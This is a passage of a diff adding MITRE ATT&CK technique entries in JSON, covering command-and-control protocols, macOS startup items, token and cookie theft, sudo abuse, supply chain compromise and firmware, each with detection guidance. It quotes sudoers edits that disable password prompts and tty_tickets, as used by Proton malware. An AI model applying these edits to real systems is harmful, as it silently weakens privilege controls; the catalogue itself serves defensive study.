{ + "external_id": "T1194", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1194" + }, + { + "source_name": "capec", + "external_id": "CAPEC-163", + "url": "https://capec.mitre.org/data/definitions/163.html" + } + ], + "modified": "2019-06-24T11:09:56.191Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "name": "Standard Application Layer Protocol", + "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.", + "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:56.776Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1071", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1071" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-06-21T15:16:29.198Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Malware reverse engineering", + "Process use of network", + "Process monitoring", + "SSL/TLS inspection" + ], + "name": "Standard Cryptographic Protocol", + "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", + "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:35.334Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1032", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1032" + }, + { + "source_name": "SANS Decrypting SSL", + "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", + "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840" + }, + { + "source_name": "SEI SSL Inspection Risks", + "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", + "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" + }, + { + "source_name": "Fidelis DarkComet", + "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-19T18:55:09.403Z" + }, + { + "x_mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network intrusion detection system", + "Network protocol analysis", + "Packet capture", + "Process use of network" + ], + "name": "Standard Non-Application Layer Protocol", + "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", + "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:31:10.728Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1095", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1095" + }, + { + "source_name": "Wikipedia OSI", + "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.", + "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29" + }, + { + "source_name": "Microsoft ICMP", + "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.", + "url": "http://support.microsoft.com/KB/170292" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-18T21:18:02.753Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "name": "Startup Items", + "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.", + "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_effective_permissions": [ + "root" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1165", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1165" + }, + { + "source_name": "Startup Items", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ], + "modified": "2019-07-18T17:58:17.016Z" + }, + { + "x_mitre_data_sources": [ + "Azure activity logs", + "OAuth audit logs" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Steal Application Access Token", + "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1192) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1527).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nAdversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)", + "id": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "x_mitre_platforms": [ + "SaaS", + "Office 365", + "Azure AD" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \u201cHigh severity app permissions\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\u2019s purpose, or apps with old \u201cLast authorized\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Shailesh Tiwary (Indian Army)", + "Mark Wee", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)" + ], + "created": "2019-09-04T15:54:25.684Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1528", + "url": "https://attack.mitre.org/techniques/T1528" + }, + { + "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", + "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", + "url": "https://auth0.com/docs/api-auth/why-use-access-tokens-to-secure-apis" + }, + { + "description": "Microsoft. (n.d.). Retrieved September 12, 2019.", + "source_name": "Microsoft Identity Platform Protocols May 2019", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols" + }, + { + "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.", + "source_name": "Microsoft - OAuth Code Authorization flow - June 2019", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow" + }, + { + "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.", + "source_name": "Microsoft - Azure AD App Registration - May 2019", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app" + }, + { + "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.", + "source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens" + }, + { + "description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.", + "source_name": "Amnesty OAuth Phishing Attacks, August 2019", + "url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/" + }, + { + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "source_name": "Trend Micro Pawn Storm OAuth 2017", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" + } + ], + "modified": "2019-10-18T15:20:05.470Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "API monitoring" + ], + "name": "Steal Web Session Cookie", + "description": "An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Mauraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application.", + "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365", + "SaaS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Johann Rehberger" + ], + "created": "2019-10-08T20:04:35.508Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1539", + "url": "https://attack.mitre.org/techniques/T1539" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.", + "source_name": "Kaspersky TajMahal April 2019", + "url": "https://securelist.com/project-tajmahal/90240/" + }, + { + "description": "Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + }, + { + "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.", + "source_name": "Github evilginx2", + "url": "https://github.com/kgretzky/evilginx2" + }, + { + "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.", + "source_name": "GitHub Mauraena", + "url": "https://github.com/muraenateam/muraena" + } + ], + "modified": "2019-10-22T19:59:20.282Z" + }, + { + "x_mitre_data_sources": [ + "Application logs", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "name": "Stored Data Manipulation", + "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "id": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Integrity" + ], + "type": "attack-pattern", + "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-09T11:51:30.942Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1492", + "url": "https://attack.mitre.org/techniques/T1492" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + } + ], + "modified": "2019-07-18T18:26:38.092Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Sudo", + "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.", + "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_effective_permissions": [ + "root" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1169", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1169" + }, + { + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + } + ], + "modified": "2019-07-18T18:34:14.365Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Sudo Caching", + "description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", + "id": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_effective_permissions": [ + "root" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1206", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1206" + }, + { + "source_name": "sudo man page 2018", + "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", + "url": "https://www.sudo.ws/" + }, + { + "source_name": "cybereason osx proton", + "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.", + "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does" + } + ], + "modified": "2019-06-24T13:19:32.798Z" + }, + { + "x_mitre_data_sources": [ + "Web proxy", + "File monitoring" + ], + "name": "Supply Chain Compromise", + "description": "Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. \n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)", + "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Veeral Patel" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + { + "external_id": "T1195", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1195" + }, + { + "source_name": "capec", + "external_id": "CAPEC-437", + "url": "https://capec.mitre.org/data/definitions/437.html" + }, + { + "source_name": "capec", + "external_id": "CAPEC-438", + "url": "https://capec.mitre.org/data/definitions/438.html" + }, + { + "source_name": "capec", + "external_id": "CAPEC-439", + "url": "https://capec.mitre.org/data/definitions/439.html" + }, + { + "source_name": "IBM Storwize", + "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.", + "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E" + }, + { + "source_name": "Schneider Electric USB Malware", + "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.", + "url": "https://www.schneider-electric.com/en/download/document/SESN-2018-236-01/" + }, + { + "source_name": "Avast CCleaner3 2018", + "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.", + "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities" + }, + { + "source_name": "Microsoft Dofoil 2018", + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + }, + { + "source_name": "Command Five SK 2011", + "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.", + "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.", + "source_name": "Trendmicro NPM Compromise", + "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets" + } + ], + "modified": "2019-06-21T18:37:11.194Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "BIOS", + "EFI" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "System Firmware", + "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: 